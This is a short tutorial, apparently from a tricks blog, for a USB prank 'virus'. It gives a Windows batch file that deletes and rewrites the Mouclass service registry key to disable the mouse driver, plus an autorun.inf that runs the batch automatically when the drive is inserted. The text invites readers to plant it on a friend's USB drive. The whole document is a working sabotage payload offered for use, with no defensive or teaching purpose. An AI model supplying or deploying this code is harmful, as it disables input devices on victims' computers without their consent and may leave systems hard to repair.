Disable Mouse By Just Inserting A USB

To use this trick first you have to create a Batch file in notepad by saving it with the .bat extension.

Copy/Paste the below code in notepad and save it as filename.bat, Here filename could be any name but the extension should be .bat.

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4 

Now you have create a autorun.inf file to run the above batch file automatically by just inserting the USB. Here is the autorun fil. Copy paste is code in the in the new Notepad window. 

[autorun]
Open=filename.bat
Action=Mouse Disable 

Save this file as autorun.inf.

Now you have created a virus that will disable the mouse. Copy both of the file in your or your friend’s USB Drive and have fun...